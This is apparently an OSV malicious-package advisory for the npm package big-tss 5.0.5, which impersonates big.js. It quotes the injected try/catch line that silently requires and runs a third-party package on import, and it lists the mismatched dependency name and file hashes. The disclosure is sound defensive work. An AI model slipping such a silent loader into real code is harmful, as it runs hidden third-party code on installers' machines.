MAL-2026-13613

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/big-tss/MAL-2026-13613.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13613
Published
2026-08-07T14:35:08Z
Modified
2026-08-07T15:04:54.350663081Z
Summary
Malicious code in big-tss (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b)

big-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}. On any require('big-tss') this synchronously loads and executes the top-level code of npm-doc-dev — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, npm-dc-dev, than the code actually requires (npm-doc-dev), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-07T14:51:19.157099613Z",
            "sha256": "022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b",
            "versions": [
                "5.0.5"
            ],
            "id": "IN-MAL-2026-017104",
            "modified_time": "2026-08-07T14:35:08Z",
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / big-tss

Package

Name
big-tss
View open source insights on deps.dev
Purl
pkg:npm/big-tss

Affected ranges

Affected versions

5.*
5.0.5

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "big-tss-5.0.5.tgz",
            "hashes": {
                "sha512_sri": "sha512-jUX7U3zIplBTb6sNZIXUpAIiJIatMr4VxZ7rgLXG/q5fFuYlhJCeXNGH8J3jeEPmEfjdkfkae6QsBnGCcM2GOA==",
                "sha1": "79f59bc5b246b4e1cfb5259b36c7aa3f22ef35bd"
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "15cb51fdb8e9e63c975f7bb5a45b85f98a0515396e741408d9d232c8c1a228b8",
            "tlsh": "3dc2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc",
            "path": "big.js"
        },
        {
            "sha256": "0d048a3a86c8409baeacdcdcaee2848bf589853277ddc27c595b188294a4f704",
            "tlsh": "c9210167caa09da70af89b947c6c43aaf1161b1f10a08c57b0bb131c4f3355b2195bbd",
            "path": "package.json"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/big-tss/MAL-2026-13613.json"